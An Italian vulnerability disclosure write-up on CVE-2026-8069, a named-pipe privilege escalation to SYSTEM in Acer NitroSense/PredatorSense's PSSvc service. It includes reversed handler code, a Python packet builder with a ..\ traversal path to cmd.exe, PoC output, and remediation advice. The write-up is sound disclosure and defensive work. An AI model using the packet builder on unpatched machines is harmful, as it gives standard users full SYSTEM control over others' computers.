Da una Named Pipe Acer a NT AUTHORITY\SYSTEM: CVE-2026-8069

Acer NitroSense e PredatorSense 3.x installavano un servizio Windows chiamato PSSvc che esponeva un protocollo personalizzato su named pipe agli utenti locali. Un comando del protocollo accettava un percorso eseguibile controllato dal chiamante, duplicava il token di winlogon.exe e avviava quell'eseguibile come NT AUTHORITY\SYSTEM.

La restrizione sul percorso nel servizio vulnerabile era un test di sottostringa. Un percorso che iniziava all'interno della directory del servizio e poi utilizzava componenti ..\ superava il test ma veniva risolto altrove. Combinato con il controllo di accesso permissivo della pipe e l'assenza di autorizzazione del chiamante, ciò consentiva a un utente locale standard di ottenere un processo SYSTEM.

Acer ha assegnato CVE-2026-8069, ha pubblicato versioni corrette e ha accreditato Artem Domarev dell'Università di Hradec Králové nel suo bollettino di sicurezza.

Questo articolo si concentra sul percorso di creazione processo/LPE. Il bollettino di Acer descrive anche l'eliminazione arbitraria di file, che era fuori dall'ambito di questa validazione.

Perché ho scelto questa direzione di ricerca

La scelta della direzione di ricerca è stata influenzata anche da un'analisi pubblica del software OEM pubblicata da Leon Jacobs di SensePost. Quel lavoro documentava vulnerabilità in ASUS DriverHub, MSI Center, Acer Control Centre e Razer Synapse 4 (Jacobs, 2025). Ha rafforzato l'idea che le utility hardware fornite dai vendor possano esporre una superficie d'attacco significativa e poco esplorata. Piuttosto che rivisitare Acer Control Centre, ho esteso l'indagine a una diversa famiglia di prodotti Acer: NitroSense e PredatorSense.

Riepilogo esecutivo

La catena di sfruttamento è breve:

utente locale autenticato
        │
        ▼
named pipe PSSvc permissiva
        │  comando personalizzato 0x0007
        ▼
controllo del percorso solo per sottostringa
        │  service-dir\..\..\..\Windows\System32\cmd.exe
        ▼
duplicazione del token di winlogon.exe della sessione attiva
        │
        ▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM

Un avvertimento sul numero di versione

C'è un'incoerenza nella formulazione pubblica. La pagina di Acer afferma che le versioni di NitroSense "precedenti alla 3.01.3052" sono vulnerabili, ma la versione 3.1.3052.0 di PSSvc.exe firmata dal vendor e testata per questo articolo è dimostrabilmente vulnerabile. La stessa pagina identifica NitroSense 3.01.3056 come versione corretta. Anche l'intervallo di applicabilità NVD si estende fino a, ma non includendo, 3.01.3056.

Per PredatorSense, la frase di Acer sulle versioni vulnerabili si ferma prima della 3.00.3196, mentre la versione corretta elencata è la 3.00.3198 e NVD usa quest'ultima come limite superiore.

La regola operativa prudente è quindi semplice: non usare l'ambigua frase "vulnerabili" come controllo per le patch. Aggiornare almeno alle versioni corrette indicate da Acer—PredatorSense 3.00.3198 o NitroSense 3.01.3056—o a un pacchetto più recente compatibile con il modello.

Artefatti testati

Il problema è stato riprodotto con il pacchetto NitroSense originale.

La firma Authenticode di PSSvc.exe è stata validata con successo e la catena di certificazione risaliva a Acer Incorporated. L'MSI installava PSSvc come servizio a processo singolo ad avvio su richiesta, in esecuzione come LocalSystem.

Come ho trovato il percorso vulnerabile

1. Iniziare dal servizio privilegiato

Il pacchetto NitroSense installa:

SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE:         WIN32_OWN_PROCESS
START_TYPE:   DEMAND_START
ACCOUNT:      LocalSystem

Un servizio SYSTEM non è automaticamente vulnerabile. La domanda importante è se un processo con privilegi inferiori possa raggiungere funzionalità progettate presupponendo che il chiamante sia attendibile.

L'analisi delle stringhe ha subito rivelato l'endpoint IPC:

\\.\pipe\predatorsense_service_namedpipe

2. Ispezionare il descrittore di sicurezza della named pipe

All'indirizzo 0x140014AD0, il servizio crea la pipe e passa un descrittore di sicurezza esplicito a CreateNamedPipeW:

D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)

Vale la pena di chiarirlo esplicitamente: la build vulnerabile non passa un descrittore NULL. Crea una DACL permissiva.

L'ACE AU è sufficiente perché un normale utente autenticato apra la pipe in lettura e scrittura. Il server non impersona quindi il client né esegue una decisione di autorizzazione prima di smistare i comandi privilegiati.

3. Recuperare il formato del protocollo

Il thread client all'indirizzo 0x14000ABB0 legge i messaggi in un buffer di 512 byte. Analizza i primi tre byte come un numero di comando a 16 bit e un conteggio di argomenti a 8 bit. Ogni argomento è preceduto dalla sua lunghezza:

Offset  Dimensione  Significato
0x00    2           ID comando, little-endian
0x02    1           numero di argomenti
0x03    4           lunghezza dell'argomento 0
0x07    n           byte dell'argomento 0
...                 DWORD di lunghezza ripetuta + valore

Gli argomenti stringa sono in UTF-16LE. Gli argomenti interi sono DWORD little-endian. Lo smistatore accetta ID di comando inferiori a 0x23 e li usa come indici in una tabella di funzioni a 35 voci all'indirizzo 0x140052C90.

La voce per il comando 0x0007 punta a 0x14000BFD0.

4. Seguire il comando 0x0007

Ridotto al suo comportamento rilevante per la sicurezza, il gestore si presenta così:

int command_07(parsed_arguments *args)
{
    wchar_t service_directory[MAX_PATH];
    wchar_t *requested_path = args->wide_string[0];
    uint32_t mode = args->dword[1];

    GetModuleFileNameW(NULL, service_directory, MAX_PATH);
    PathRemoveFileSpecW(service_directory);

    if (wcsstr(requested_path, service_directory) != NULL)
        return launch_with_selected_token(requested_path, mode);

    return 0;
}

wcsstr risponde solo se una stringa compare all'interno di un'altra. Non canonizza un percorso, non risolve i segmenti punto, non apre un file e non dimostra che l'oggetto finale rimanga sotto una directory attendibile.

Supponiamo che il servizio sia installato in:

C:\Program Files\Acer\NitroSense_Service

Il percorso seguente contiene quella directory all'offset zero, quindi wcsstr ha successo:

C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe

Windows risolve i segmenti punto in:

C:\WINDOWS\System32\cmd.exe

Questo è un classico errore di canonizzazione: la validazione viene eseguita su una rappresentazione testuale, mentre l'operazione sensibile consuma il suo significato normalizzato.

5. Tracciare il ramo del token

La funzione di avvio processo all'indirizzo 0x1400091F0 ha un ramo speciale quando il secondo argomento è 0x72 (114 decimale). Essa:

1. ottiene l'ID della sessione console attiva;
2. interroga il token dell'utente attivo e crea un blocco ambiente;
3. enumera i processi con CreateToolhelp32Snapshot;
4. individua winlogon.exe nella sessione attiva;
5. apre il processo e il suo token;
6. duplica il token come token primario;
7. imposta il token duplicato a integrità alta; e
8. avvia il percorso fornito dal chiamante su winsta0\default.

I punti di chiamata critici nel binario testato erano:

Ciò significa che il comando 0x0007 non chiede semplicemente a un servizio di avviare uno dei suoi strumenti attendibili. Espone un avviatore di processi con token SYSTEM generale a una pipe a cui gli utenti ordinari possono accedere.

Costruzione del PoC

Il costruttore essenziale di pacchetti è piccolo:

import struct

def build_packet(command_id, *arguments):
    packet = struct.pack("<HB", command_id, len(arguments))
    for argument in arguments:
        if isinstance(argument, str):
            argument = argument.encode("utf-16-le")
        elif isinstance(argument, int):
            argument = struct.pack("<I", argument)
        packet += struct.pack("<I", len(argument)) + argument
    return packet

service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"

# Il gestore si aspetta il percorso, la modalità token e otto slot aggiuntivi.
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))

Lo script di validazione completo apre la pipe con CreateFileW, imposta la modalità messaggio, invia questo pacchetto e decodifica la risposta del servizio. Scopre il percorso del servizio installato invece di codificarlo e controlla il target normalizzato prima di inviare qualsiasi cosa.

Lo script completo usato per questo articolo è disponibile come acer_cve_2026_8069_poc.py.

Riproduzione

Passo 1: Installare la build vulnerabile

Il Setup.exe del vendor esegue controlli hardware e fornisce proprietà MSI private. Ho estratto NitroSense.msi e recuperato quelle proprietà dal bootstrapper .NET:

$arguments = @(
  '/i', 'C:\Lab\NitroSense.msi',
  'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
  'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
  'GPRODUCTNAME=NitroSense_Service',
  '/qn', '/norestart',
  '/l*v', 'C:\Lab\install.log'
)

Start-Process msiexec.exe -ArgumentList $arguments -Wait

Queste proprietà riproducono il percorso di installazione del bootstrapper su hardware che non supera i suoi controlli ambientali.

Dopo l'installazione, ho verificato la versione del file, lo SHA-256 e la firma, quindi ho avviato il servizio ad avvio su richiesta:

sc.exe qc PSSvc
sc.exe start PSSvc

Passo 2: Usare un account locale standard

La richiesta è stata inviata da un account locale standard, non amministrativo, in esecuzione a integrità media.

Passo 3: Attivare il comando 0x0007

Da quell'account:

py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe

Il servizio ha restituito:

[PASS] Connesso
[INFO] Invio CMD 0x0007: path='cmd.exe', mode=0x72
       Dimensione pacchetto: 227 byte

Risposta grezza: 010400000001000000
Codice di ritorno: 1

[CRITICAL] PROCESSO CREATO CON SUCCESSO

Passo 4: Verifica indipendente

Il messaggio di successo del PoC non è di per sé la prova. Ho interrogato il processo risultante in modo indipendente da un canale di evidenza amministrativo:

Parent      : PSSvc.exe
Session     : Interattiva
Owner       : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"

La shell SYSTEM era un figlio diretto di PSSvc.exe nella sessione interattiva, con il percorso di attraversamento preservato sulla sua riga di comando.

Ho anche tracciato le API del servizio durante la richiesta riuscita. La traccia ha registrato la sessione attiva 1, una WTSQueryUserToken riuscita, uno snapshot dei processi, una OpenProcess per il winlogon.exe della sessione, una DuplicateTokenEx riuscita, la modifica del token di integrità e un ritorno di successo dalla funzione di avvio processo.

Causa principale

Non si è trattato di un singolo confronto errato e isolato. Lo sfruttamento richiedeva che diversi fallimenti di fiducia si allineassero:

1. La DACL della pipe consentiva agli utenti autenticati di leggere e scrivere.
2. Il server accettava un comando privilegiato personalizzato senza autenticare o autorizzare il client.
3. La lista consentita di eseguibili era implementata con wcsstr invece che con una validazione canonica del percorso.
4. Il comando esponeva codice che duplicava deliberatamente un token altamente privilegiato di winlogon.exe.
5. Il chiamante controllava il percorso dell'applicazione infine passato alla creazione del processo.

Rimuovere uno qualsiasi degli ultimi quattro anelli avrebbe impedito questo percorso LPE. La difesa in profondità dovrebbe rimuoverli tutti.

Indicazioni per la correzione

La correzione supportata da Acer consiste nell'aggiornare a PredatorSense 3.00.3198, NitroSense 3.01.3056 o versioni successive. Usare il pacchetto che Acer offre per il numero di serie o SNID della macchina, come descritto nel bollettino del vendor.

Per gli sviluppatori di servizi Windows privilegiati, le lezioni più ampie sono:

• Assegnare alla pipe l'ACL più restrittiva possibile—normalmente entità specifiche del servizio, SYSTEM e amministratori—non tutti gli utenti autenticati.
• Autenticare ogni client e autorizzare ogni comando. Il solo accesso alla pipe non è una decisione di autorizzazione.
• Impersonare il client della pipe quando si valuta chi sta chiedendo, quindi applicare una policy documentata.
• Canonizzare e risolvere un percorso prima della validazione. Confrontare i componenti del percorso con le corrette regole di confine e di maiuscole/minuscole e tenere conto di reparse point e collegamenti.
• Preferire una lista consentita di identità eseguibili immutabili rispetto a un percorso controllato dal chiamante.
• Non esporre la duplicazione di token o la creazione arbitraria di processi attraverso uno smistatore IPC locale generico.
• Registrare i comandi rifiutati e le informazioni rilevanti per la sicurezza sul chiamante senza registrare segreti.

Cronologia della divulgazione

Considerazioni finali

Le named pipe locali sono facili da scambiare per confini attendibili. Sono solo meccanismi di trasporto. Quando un servizio SYSTEM espone uno smistatore di comandi, l'ACL della sua pipe, l'autorizzazione del chiamante, la validazione degli argomenti e l'implementazione privilegiata diventano tutti parte del confine di sicurezza.

Qui, una pipe permissiva raggiungeva una routine di duplicazione dei token e un controllo di sottostringa cercava di sostituire il contenimento del percorso. Il risultato è stata una transizione affidabile da un utente locale standard a NT AUTHORITY\SYSTEM.

Riferimenti

• Acer: Informazioni sulla vulnerabilità di sicurezza del software PredatorSense e NitroSense v3
• Database degli advisory GitHub: CVE-2026-8069 / GHSA-67h9-58cf-72hp
• NVD: CVE-2026-8069
• CVE.org: CVE-2026-8069
• Jacobs, L. (2025, 24 luglio). Pwning ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4. SensePost.

Licenza

L'articolo e i media di ricerca originali sono concessi in licenza sotto Creative Commons Attribution 4.0 International. Il codice sorgente del PoC è concesso in licenza sotto la MIT License. Vedere LICENSE.md per l'ambito e le esclusioni di terze parti.